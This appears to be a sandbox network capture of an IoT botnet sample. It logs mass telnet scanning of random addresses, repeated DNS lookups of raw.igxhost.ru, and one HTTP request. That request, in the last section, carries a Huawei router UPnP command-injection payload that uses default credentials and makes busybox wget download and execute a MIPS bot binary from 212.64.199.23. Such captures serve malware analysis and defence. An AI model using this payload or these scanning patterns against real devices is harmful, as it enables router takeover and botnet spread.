Feb 4, 2025 18:17:42.440526009 CET	47076	23	192.168.2.23	102.134.21.44
Feb 4, 2025 18:17:42.440536022 CET	47076	23	192.168.2.23	108.238.239.63
Feb 4, 2025 18:17:42.440536976 CET	47076	23	192.168.2.23	194.68.28.84
Feb 4, 2025 18:17:42.440550089 CET	47076	23	192.168.2.23	148.177.11.174
Feb 4, 2025 18:17:42.440550089 CET	47076	23	192.168.2.23	96.138.156.168
Feb 4, 2025 18:17:42.440550089 CET	47076	23	192.168.2.23	221.37.68.135
Feb 4, 2025 18:17:42.440551043 CET	47076	23	192.168.2.23	149.17.169.152
Feb 4, 2025 18:17:42.440551996 CET	47076	23	192.168.2.23	53.141.218.202
Feb 4, 2025 18:17:42.440552950 CET	47076	23	192.168.2.23	184.138.55.130
Feb 4, 2025 18:17:42.440558910 CET	47076	23	192.168.2.23	166.182.101.154
Feb 4, 2025 18:17:42.440558910 CET	47076	23	192.168.2.23	138.58.97.181
Feb 4, 2025 18:17:42.440570116 CET	47076	23	192.168.2.23	105.120.162.113
Feb 4, 2025 18:17:42.440570116 CET	47076	23	192.168.2.23	5.153.137.108
Feb 4, 2025 18:17:42.440574884 CET	47076	23	192.168.2.23	151.113.175.13
Feb 4, 2025 18:17:42.440574884 CET	47076	23	192.168.2.23	14.252.106.55
Feb 4, 2025 18:17:42.440576077 CET	47076	23	192.168.2.23	185.190.191.247
Feb 4, 2025 18:17:42.440579891 CET	47076	23	192.168.2.23	68.186.169.207
Feb 4, 2025 18:17:42.440584898 CET	47076	23	192.168.2.23	76.59.244.208
Feb 4, 2025 18:17:42.440592051 CET	47076	23	192.168.2.23	80.139.11.63
Feb 4, 2025 18:17:42.440593958 CET	47076	23	192.168.2.23	165.67.249.189
Feb 4, 2025 18:17:42.440608978 CET	47076	23	192.168.2.23	142.22.82.127
Feb 4, 2025 18:17:42.440609932 CET	47076	23	192.168.2.23	150.52.49.101
Feb 4, 2025 18:17:42.440610886 CET	47076	23	192.168.2.23	50.31.181.224
Feb 4, 2025 18:17:42.440610886 CET	47076	23	192.168.2.23	106.57.182.5
Feb 4, 2025 18:17:42.440614939 CET	47076	23	192.168.2.23	58.113.69.142
Feb 4, 2025 18:17:42.440618038 CET	47076	23	192.168.2.23	194.13.187.167
Feb 4, 2025 18:17:42.440618992 CET	47076	23	192.168.2.23	103.205.253.131
Feb 4, 2025 18:17:42.440627098 CET	47076	23	192.168.2.23	113.230.182.117
Feb 4, 2025 18:17:42.440629959 CET	47076	23	192.168.2.23	194.59.147.234
Feb 4, 2025 18:17:42.440629959 CET	47076	23	192.168.2.23	94.142.230.92
Feb 4, 2025 18:17:42.440634966 CET	47076	23	192.168.2.23	204.31.118.73
Feb 4, 2025 18:17:42.440642118 CET	47076	23	192.168.2.23	128.198.38.131
Feb 4, 2025 18:17:42.440649986 CET	47076	23	192.168.2.23	199.131.204.241
Feb 4, 2025 18:17:42.440651894 CET	47076	23	192.168.2.23	97.174.18.194
Feb 4, 2025 18:17:42.440653086 CET	47076	23	192.168.2.23	219.116.40.121
Feb 4, 2025 18:17:42.440656900 CET	47076	23	192.168.2.23	71.103.169.3
Feb 4, 2025 18:17:42.440659046 CET	47076	23	192.168.2.23	143.175.111.12
Feb 4, 2025 18:17:42.440659046 CET	47076	23	192.168.2.23	23.180.234.177
Feb 4, 2025 18:17:42.440659046 CET	47076	23	192.168.2.23	186.238.171.168
Feb 4, 2025 18:17:42.440660954 CET	47076	23	192.168.2.23	134.57.68.84
Feb 4, 2025 18:17:42.440664053 CET	47076	23	192.168.2.23	221.152.179.114
Feb 4, 2025 18:17:42.440664053 CET	47076	23	192.168.2.23	112.38.83.230
Feb 4, 2025 18:17:42.440664053 CET	47076	23	192.168.2.23	213.126.96.92
Feb 4, 2025 18:17:42.440669060 CET	47076	23	192.168.2.23	170.151.75.222
Feb 4, 2025 18:17:42.440671921 CET	47076	23	192.168.2.23	156.146.73.197
Feb 4, 2025 18:17:42.440671921 CET	47076	23	192.168.2.23	9.83.194.255
Feb 4, 2025 18:17:42.440675974 CET	47076	23	192.168.2.23	91.118.172.190
Feb 4, 2025 18:17:42.440682888 CET	47076	23	192.168.2.23	208.106.157.102
Feb 4, 2025 18:17:42.440685987 CET	47076	23	192.168.2.23	130.30.123.46
Feb 4, 2025 18:17:42.440685987 CET	47076	23	192.168.2.23	174.162.100.207
Feb 4, 2025 18:17:42.440686941 CET	47076	23	192.168.2.23	83.173.19.15
Feb 4, 2025 18:17:42.440702915 CET	47076	23	192.168.2.23	134.217.85.202
Feb 4, 2025 18:17:42.440702915 CET	47076	23	192.168.2.23	169.121.152.206
Feb 4, 2025 18:17:42.440704107 CET	47076	23	192.168.2.23	138.238.227.114
Feb 4, 2025 18:17:42.440716982 CET	47076	23	192.168.2.23	84.111.56.114
Feb 4, 2025 18:17:42.440716982 CET	47076	23	192.168.2.23	197.90.246.223
Feb 4, 2025 18:17:42.440721035 CET	47076	23	192.168.2.23	117.113.73.114
Feb 4, 2025 18:17:42.440721035 CET	47076	23	192.168.2.23	162.249.219.95
Feb 4, 2025 18:17:42.440720081 CET	47076	23	192.168.2.23	176.23.36.150
Feb 4, 2025 18:17:42.440721035 CET	47076	23	192.168.2.23	8.220.152.188
Feb 4, 2025 18:17:42.440723896 CET	47076	23	192.168.2.23	137.4.189.186
Feb 4, 2025 18:17:42.440720081 CET	47076	23	192.168.2.23	208.248.226.134
Feb 4, 2025 18:17:42.440723896 CET	47076	23	192.168.2.23	8.255.105.194
Feb 4, 2025 18:17:42.440723896 CET	47076	23	192.168.2.23	17.242.153.145
Feb 4, 2025 18:17:42.440723896 CET	47076	23	192.168.2.23	74.214.99.253
Feb 4, 2025 18:17:42.440731049 CET	47076	23	192.168.2.23	220.222.236.129
Feb 4, 2025 18:17:42.440737009 CET	47076	23	192.168.2.23	169.0.1.197
Feb 4, 2025 18:17:42.445255995 CET	23	47076	172.210.25.102	192.168.2.23
Feb 4, 2025 18:17:42.445326090 CET	47076	23	192.168.2.23	172.210.25.102
Feb 4, 2025 18:17:42.445369005 CET	23	47076	124.88.43.157	192.168.2.23
Feb 4, 2025 18:17:42.445388079 CET	23	47076	164.127.116.17	192.168.2.23
Feb 4, 2025 18:17:42.445400000 CET	23	47076	101.98.77.11	192.168.2.23
Feb 4, 2025 18:17:42.445415974 CET	23	47076	91.125.232.75	192.168.2.23
Feb 4, 2025 18:17:42.445426941 CET	23	47076	123.177.219.164	192.168.2.23
Feb 4, 2025 18:17:42.445441008 CET	23	47076	5.197.14.130	192.168.2.23
Feb 4, 2025 18:17:42.445442915 CET	47076	23	192.168.2.23	164.127.116.17
Feb 4, 2025 18:17:42.445451975 CET	23	47076	167.46.143.182	192.168.2.23
Feb 4, 2025 18:17:42.445462942 CET	47076	23	192.168.2.23	101.98.77.11
Feb 4, 2025 18:17:42.445462942 CET	47076	23	192.168.2.23	124.88.43.157
Feb 4, 2025 18:17:42.445462942 CET	47076	23	192.168.2.23	123.177.219.164
Feb 4, 2025 18:17:42.445466995 CET	47076	23	192.168.2.23	91.125.232.75
Feb 4, 2025 18:17:42.445475101 CET	23	47076	212.113.111.76	192.168.2.23
Feb 4, 2025 18:17:42.445483923 CET	47076	23	192.168.2.23	5.197.14.130
Feb 4, 2025 18:17:42.445483923 CET	47076	23	192.168.2.23	167.46.143.182
Feb 4, 2025 18:17:42.445499897 CET	23	47076	158.30.181.210	192.168.2.23
Feb 4, 2025 18:17:42.445511103 CET	23	47076	53.152.87.238	192.168.2.23
Feb 4, 2025 18:17:42.445522070 CET	23	47076	40.43.216.114	192.168.2.23
Feb 4, 2025 18:17:42.445534945 CET	47076	23	192.168.2.23	212.113.111.76
Feb 4, 2025 18:17:42.445554018 CET	23	47076	81.63.116.244	192.168.2.23
Feb 4, 2025 18:17:42.445569038 CET	23	47076	24.157.174.196	192.168.2.23
Feb 4, 2025 18:17:42.445574045 CET	47076	23	192.168.2.23	40.43.216.114
Feb 4, 2025 18:17:42.445579052 CET	23	47076	116.179.172.104	192.168.2.23
Feb 4, 2025 18:17:42.445585012 CET	23	47076	192.247.49.152	192.168.2.23
Feb 4, 2025 18:17:42.445591927 CET	23	47076	180.20.160.196	192.168.2.23
Feb 4, 2025 18:17:42.445596933 CET	23	47076	80.101.58.153	192.168.2.23
Feb 4, 2025 18:17:42.445601940 CET	23	47076	149.165.136.160	192.168.2.23
Feb 4, 2025 18:17:42.445604086 CET	23	47076	212.14.164.191	192.168.2.23
Feb 4, 2025 18:17:42.445615053 CET	23	47076	88.94.27.212	192.168.2.23
Feb 4, 2025 18:17:42.445619106 CET	47076	23	192.168.2.23	116.179.172.104
Feb 4, 2025 18:17:42.445626020 CET	23	47076	130.206.7.123	192.168.2.23
Feb 4, 2025 18:17:42.445628881 CET	47076	23	192.168.2.23	24.157.174.196
Feb 4, 2025 18:17:42.445628881 CET	47076	23	192.168.2.23	192.247.49.152
Feb 4, 2025 18:17:42.445641994 CET	23	47076	112.120.9.93	192.168.2.23
Feb 4, 2025 18:17:42.445653915 CET	23	47076	41.233.140.220	192.168.2.23
Feb 4, 2025 18:17:42.445652962 CET	47076	23	192.168.2.23	158.30.181.210
Feb 4, 2025 18:17:42.445652962 CET	47076	23	192.168.2.23	53.152.87.238
Feb 4, 2025 18:17:42.445666075 CET	23	47076	171.106.74.116	192.168.2.23
Feb 4, 2025 18:17:42.445666075 CET	47076	23	192.168.2.23	80.101.58.153
Feb 4, 2025 18:17:42.445666075 CET	47076	23	192.168.2.23	212.14.164.191
Feb 4, 2025 18:17:42.445676088 CET	23	47076	18.0.211.231	192.168.2.23
Feb 4, 2025 18:17:42.445683002 CET	47076	23	192.168.2.23	130.206.7.123
Feb 4, 2025 18:17:42.445689917 CET	47076	23	192.168.2.23	81.63.116.244
Feb 4, 2025 18:17:42.445692062 CET	47076	23	192.168.2.23	41.233.140.220
Feb 4, 2025 18:17:42.445689917 CET	47076	23	192.168.2.23	180.20.160.196
Feb 4, 2025 18:17:42.445689917 CET	47076	23	192.168.2.23	149.165.136.160
Feb 4, 2025 18:17:42.445689917 CET	47076	23	192.168.2.23	88.94.27.212
Feb 4, 2025 18:17:42.445689917 CET	47076	23	192.168.2.23	112.120.9.93
Feb 4, 2025 18:17:42.445693970 CET	47076	23	192.168.2.23	171.106.74.116
Feb 4, 2025 18:17:42.445702076 CET	47076	23	192.168.2.23	18.0.211.231
Feb 4, 2025 18:17:42.446296930 CET	23	47076	131.230.10.169	192.168.2.23
Feb 4, 2025 18:17:42.446381092 CET	23	47076	4.70.1.43	192.168.2.23
Feb 4, 2025 18:17:42.446392059 CET	23	47076	79.206.84.151	192.168.2.23
Feb 4, 2025 18:17:42.446399927 CET	47076	23	192.168.2.23	131.230.10.169
Feb 4, 2025 18:17:42.446400881 CET	23	47076	193.68.123.36	192.168.2.23
Feb 4, 2025 18:17:42.446413040 CET	23	47076	184.46.247.121	192.168.2.23
Feb 4, 2025 18:17:42.446418047 CET	47076	23	192.168.2.23	79.206.84.151
Feb 4, 2025 18:17:42.446422100 CET	23	47076	98.151.128.198	192.168.2.23
Feb 4, 2025 18:17:42.446449995 CET	47076	23	192.168.2.23	193.68.123.36
Feb 4, 2025 18:17:42.446451902 CET	47076	23	192.168.2.23	4.70.1.43
Feb 4, 2025 18:17:42.446451902 CET	47076	23	192.168.2.23	184.46.247.121
Feb 4, 2025 18:17:42.446460962 CET	23	47076	110.174.198.161	192.168.2.23
Feb 4, 2025 18:17:42.446472883 CET	23	47076	118.198.163.57	192.168.2.23
Feb 4, 2025 18:17:42.446480989 CET	47076	23	192.168.2.23	98.151.128.198
Feb 4, 2025 18:17:42.446516037 CET	47076	23	192.168.2.23	118.198.163.57
Feb 4, 2025 18:17:42.446517944 CET	47076	23	192.168.2.23	110.174.198.161
Feb 4, 2025 18:17:42.446568966 CET	23	47076	13.163.62.35	192.168.2.23
Feb 4, 2025 18:17:42.446588993 CET	23	47076	142.204.12.59	192.168.2.23
Feb 4, 2025 18:17:42.446599007 CET	23	47076	45.125.135.1	192.168.2.23
Feb 4, 2025 18:17:42.446609974 CET	47076	23	192.168.2.23	13.163.62.35
Feb 4, 2025 18:17:42.446613073 CET	23	47076	118.9.104.203	192.168.2.23
Feb 4, 2025 18:17:42.446624041 CET	23	47076	155.9.99.85	192.168.2.23
Feb 4, 2025 18:17:42.446629047 CET	47076	23	192.168.2.23	45.125.135.1
Feb 4, 2025 18:17:42.446633101 CET	47076	23	192.168.2.23	142.204.12.59
Feb 4, 2025 18:17:42.446640968 CET	23	47076	140.212.246.160	192.168.2.23
Feb 4, 2025 18:17:42.446649075 CET	47076	23	192.168.2.23	155.9.99.85
Feb 4, 2025 18:17:42.446655989 CET	47076	23	192.168.2.23	118.9.104.203
Feb 4, 2025 18:17:42.446656942 CET	23	47076	63.207.90.88	192.168.2.23
Feb 4, 2025 18:17:42.446670055 CET	23	47076	97.111.57.123	192.168.2.23
Feb 4, 2025 18:17:42.446681023 CET	23	47076	169.212.141.47	192.168.2.23
Feb 4, 2025 18:17:42.446685076 CET	47076	23	192.168.2.23	63.207.90.88
Feb 4, 2025 18:17:42.446685076 CET	47076	23	192.168.2.23	140.212.246.160
Feb 4, 2025 18:17:42.446686983 CET	23	47076	38.110.51.89	192.168.2.23
Feb 4, 2025 18:17:42.446688890 CET	23	47076	25.68.15.132	192.168.2.23
Feb 4, 2025 18:17:42.446703911 CET	23	47076	134.176.79.159	192.168.2.23
Feb 4, 2025 18:17:42.446710110 CET	47076	23	192.168.2.23	97.111.57.123
Feb 4, 2025 18:17:42.446717024 CET	23	47076	109.110.181.157	192.168.2.23
Feb 4, 2025 18:17:42.446721077 CET	47076	23	192.168.2.23	38.110.51.89
Feb 4, 2025 18:17:42.446721077 CET	47076	23	192.168.2.23	25.68.15.132
Feb 4, 2025 18:17:42.446727037 CET	23	47076	45.0.85.231	192.168.2.23
Feb 4, 2025 18:17:42.446732998 CET	47076	23	192.168.2.23	169.212.141.47
Feb 4, 2025 18:17:42.446739912 CET	23	47076	170.32.18.137	192.168.2.23
Feb 4, 2025 18:17:42.446749926 CET	47076	23	192.168.2.23	134.176.79.159
Feb 4, 2025 18:17:42.446749926 CET	47076	23	192.168.2.23	109.110.181.157
Feb 4, 2025 18:17:42.446757078 CET	47076	23	192.168.2.23	45.0.85.231
Feb 4, 2025 18:17:42.446765900 CET	47076	23	192.168.2.23	170.32.18.137
Feb 4, 2025 18:17:42.446774960 CET	23	47076	133.100.102.182	192.168.2.23
Feb 4, 2025 18:17:42.446784973 CET	23	47076	82.85.119.171	192.168.2.23
Feb 4, 2025 18:17:42.446794033 CET	23	47076	77.185.163.35	192.168.2.23
Feb 4, 2025 18:17:42.446804047 CET	23	47076	184.14.2.14	192.168.2.23
Feb 4, 2025 18:17:42.446810007 CET	47076	23	192.168.2.23	133.100.102.182
Feb 4, 2025 18:17:42.446814060 CET	47076	23	192.168.2.23	82.85.119.171
Feb 4, 2025 18:17:42.446818113 CET	47076	23	192.168.2.23	77.185.163.35
Feb 4, 2025 18:17:42.446851969 CET	47076	23	192.168.2.23	184.14.2.14
Feb 4, 2025 18:17:42.446856022 CET	23	47076	31.58.171.213	192.168.2.23
Feb 4, 2025 18:17:42.446899891 CET	47076	23	192.168.2.23	31.58.171.213
Feb 4, 2025 18:17:42.447626114 CET	23	47076	162.174.227.186	192.168.2.23
Feb 4, 2025 18:17:42.447633028 CET	48372	23	192.168.2.23	204.48.133.47
Feb 4, 2025 18:17:42.447633028 CET	34208	23	192.168.2.23	80.253.147.74
Feb 4, 2025 18:17:42.447633982 CET	52224	23	192.168.2.23	63.41.214.214
Feb 4, 2025 18:17:42.447633982 CET	52656	23	192.168.2.23	199.91.122.250
Feb 4, 2025 18:17:42.447638035 CET	37222	23	192.168.2.23	50.191.68.90
Feb 4, 2025 18:17:42.447647095 CET	37252	23	192.168.2.23	52.200.51.129
Feb 4, 2025 18:17:42.447648048 CET	59266	23	192.168.2.23	193.75.107.206
Feb 4, 2025 18:17:42.447648048 CET	41300	23	192.168.2.23	52.90.39.201
Feb 4, 2025 18:17:42.447654009 CET	49152	23	192.168.2.23	145.238.37.7
Feb 4, 2025 18:17:42.447654009 CET	36444	23	192.168.2.23	133.40.77.171
Feb 4, 2025 18:17:42.447664022 CET	59346	23	192.168.2.23	200.243.69.161
Feb 4, 2025 18:17:42.447668076 CET	40038	23	192.168.2.23	69.148.183.150
Feb 4, 2025 18:17:42.447673082 CET	34440	23	192.168.2.23	155.29.225.64
Feb 4, 2025 18:17:42.447673082 CET	52372	23	192.168.2.23	148.53.157.220
Feb 4, 2025 18:17:42.447674036 CET	56390	23	192.168.2.23	179.218.230.140
Feb 4, 2025 18:17:42.447675943 CET	36100	23	192.168.2.23	61.212.47.165
Feb 4, 2025 18:17:42.447681904 CET	55974	23	192.168.2.23	197.10.24.250
Feb 4, 2025 18:17:42.447681904 CET	42284	23	192.168.2.23	131.142.112.126
Feb 4, 2025 18:17:42.447686911 CET	35612	23	192.168.2.23	173.118.185.255
Feb 4, 2025 18:17:42.447686911 CET	35950	23	192.168.2.23	131.243.91.193
Feb 4, 2025 18:17:42.447690964 CET	40086	23	192.168.2.23	103.127.201.243
Feb 4, 2025 18:17:42.447690964 CET	33428	23	192.168.2.23	114.113.18.124
Feb 4, 2025 18:17:42.447695017 CET	59810	23	192.168.2.23	189.248.113.169
Feb 4, 2025 18:17:42.447701931 CET	48544	23	192.168.2.23	53.85.76.67
Feb 4, 2025 18:17:42.447701931 CET	58132	23	192.168.2.23	153.44.241.207
Feb 4, 2025 18:17:42.447707891 CET	33246	23	192.168.2.23	223.39.215.206
Feb 4, 2025 18:17:42.447710037 CET	23	47076	97.71.194.231	192.168.2.23
Feb 4, 2025 18:17:42.447710037 CET	34580	23	192.168.2.23	150.174.128.114
Feb 4, 2025 18:17:42.447712898 CET	43160	23	192.168.2.23	43.135.162.203
Feb 4, 2025 18:17:42.447716951 CET	40080	23	192.168.2.23	73.80.216.25
Feb 4, 2025 18:17:42.447722912 CET	52846	23	192.168.2.23	87.236.18.63
Feb 4, 2025 18:17:42.447722912 CET	45452	23	192.168.2.23	219.122.68.228
Feb 4, 2025 18:17:42.447725058 CET	36264	23	192.168.2.23	210.12.43.239
Feb 4, 2025 18:17:42.447725058 CET	49006	23	192.168.2.23	192.239.202.170
Feb 4, 2025 18:17:42.447729111 CET	35628	23	192.168.2.23	194.114.197.107
Feb 4, 2025 18:17:42.447729111 CET	49714	23	192.168.2.23	204.65.199.79
Feb 4, 2025 18:17:42.447730064 CET	55998	23	192.168.2.23	181.3.58.97
Feb 4, 2025 18:17:42.447736979 CET	54826	23	192.168.2.23	76.144.247.12
Feb 4, 2025 18:17:42.447736979 CET	50188	23	192.168.2.23	54.42.126.196
Feb 4, 2025 18:17:42.447738886 CET	41072	23	192.168.2.23	113.216.178.123
Feb 4, 2025 18:17:42.447742939 CET	57656	23	192.168.2.23	52.75.149.80
Feb 4, 2025 18:17:42.447742939 CET	23	47076	57.238.239.225	192.168.2.23
Feb 4, 2025 18:17:42.447742939 CET	57072	23	192.168.2.23	148.249.41.60
Feb 4, 2025 18:17:42.447742939 CET	39302	23	192.168.2.23	182.152.188.196
Feb 4, 2025 18:17:42.447742939 CET	35824	23	192.168.2.23	36.187.228.199
Feb 4, 2025 18:17:42.447750092 CET	23	47076	99.254.175.172	192.168.2.23
Feb 4, 2025 18:17:42.447757006 CET	54436	23	192.168.2.23	189.90.84.184
Feb 4, 2025 18:17:42.447757959 CET	35154	23	192.168.2.23	58.5.147.126
Feb 4, 2025 18:17:42.447757959 CET	43480	23	192.168.2.23	69.166.102.253
Feb 4, 2025 18:17:42.447762012 CET	47796	23	192.168.2.23	169.187.163.130
Feb 4, 2025 18:17:42.447767973 CET	49706	23	192.168.2.23	54.8.74.198
Feb 4, 2025 18:17:42.447770119 CET	40202	23	192.168.2.23	175.182.120.125
Feb 4, 2025 18:17:42.447768927 CET	41526	23	192.168.2.23	66.54.8.121
Feb 4, 2025 18:17:42.447772026 CET	55530	23	192.168.2.23	164.163.241.49
Feb 4, 2025 18:17:42.447768927 CET	46716	23	192.168.2.23	48.228.185.90
Feb 4, 2025 18:17:42.447772980 CET	23	47076	160.228.34.135	192.168.2.23
Feb 4, 2025 18:17:42.447772026 CET	34700	23	192.168.2.23	14.117.104.170
Feb 4, 2025 18:17:42.447768927 CET	39642	23	192.168.2.23	109.105.127.149
Feb 4, 2025 18:17:42.447770119 CET	33548	23	192.168.2.23	82.31.189.28
Feb 4, 2025 18:17:42.447782040 CET	45250	23	192.168.2.23	90.56.243.166
Feb 4, 2025 18:17:42.447782040 CET	52410	23	192.168.2.23	185.106.159.179
Feb 4, 2025 18:17:42.447782993 CET	50746	23	192.168.2.23	211.78.50.129
Feb 4, 2025 18:17:42.447782993 CET	43962	23	192.168.2.23	1.171.104.47
Feb 4, 2025 18:17:42.447782993 CET	47076	23	192.168.2.23	99.254.175.172
Feb 4, 2025 18:17:42.447786093 CET	59454	23	192.168.2.23	142.141.21.89
Feb 4, 2025 18:17:42.447786093 CET	42324	23	192.168.2.23	111.73.206.219
Feb 4, 2025 18:17:42.447792053 CET	47960	23	192.168.2.23	151.22.123.193
Feb 4, 2025 18:17:42.447792053 CET	33216	23	192.168.2.23	113.16.224.221
Feb 4, 2025 18:17:42.447792053 CET	50218	23	192.168.2.23	68.91.22.255
Feb 4, 2025 18:17:42.447792053 CET	46506	23	192.168.2.23	155.38.105.43
Feb 4, 2025 18:17:42.447796106 CET	35000	23	192.168.2.23	102.175.100.157
Feb 4, 2025 18:17:42.447796106 CET	46658	23	192.168.2.23	141.46.176.155

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 4, 2025 18:17:31.380747080 CET	192.168.2.23	8.8.8.8	0xea04	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:32.143712997 CET	192.168.2.23	8.8.8.8	0x74af	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:32.884567022 CET	192.168.2.23	8.8.8.8	0x9b10	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:33.618428946 CET	192.168.2.23	8.8.8.8	0x1997	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:34.327225924 CET	192.168.2.23	8.8.8.8	0x60de	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:35.093878031 CET	192.168.2.23	8.8.8.8	0x719e	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:35.816632032 CET	192.168.2.23	8.8.8.8	0x2f0a	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:36.547727108 CET	192.168.2.23	8.8.8.8	0x91d	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:37.322177887 CET	192.168.2.23	8.8.8.8	0x7178	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:38.212187052 CET	192.168.2.23	8.8.8.8	0x5ead	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:38.956439018 CET	192.168.2.23	8.8.8.8	0x2703	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:39.664427996 CET	192.168.2.23	8.8.8.8	0x49b1	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:40.402621984 CET	192.168.2.23	8.8.8.8	0x3359	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:41.108577013 CET	192.168.2.23	8.8.8.8	0xcc2b	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:41.816404104 CET	192.168.2.23	8.8.8.8	0xbb64	Standard query (0)	raw.igxhost.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 4, 2025 18:17:31.399144888 CET	8.8.8.8	192.168.2.23	0xea04	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:32.150628090 CET	8.8.8.8	192.168.2.23	0x74af	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:32.891552925 CET	8.8.8.8	192.168.2.23	0x9b10	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:33.627110004 CET	8.8.8.8	192.168.2.23	0x1997	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:34.337081909 CET	8.8.8.8	192.168.2.23	0x60de	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:35.104485989 CET	8.8.8.8	192.168.2.23	0x719e	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:35.826778889 CET	8.8.8.8	192.168.2.23	0x2f0a	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:36.555085897 CET	8.8.8.8	192.168.2.23	0x91d	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:37.328192949 CET	8.8.8.8	192.168.2.23	0x7178	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:38.220958948 CET	8.8.8.8	192.168.2.23	0x5ead	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:38.963828087 CET	8.8.8.8	192.168.2.23	0x2703	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:39.670685053 CET	8.8.8.8	192.168.2.23	0x49b1	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:40.409532070 CET	8.8.8.8	192.168.2.23	0x3359	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:41.115838051 CET	8.8.8.8	192.168.2.23	0xcc2b	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false
Feb 4, 2025 18:17:41.823605061 CET	8.8.8.8	192.168.2.23	0xbb64	No error (0)	raw.igxhost.ru	212.64.199.23	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	58152	197.198.216.23	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:34.422851086 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

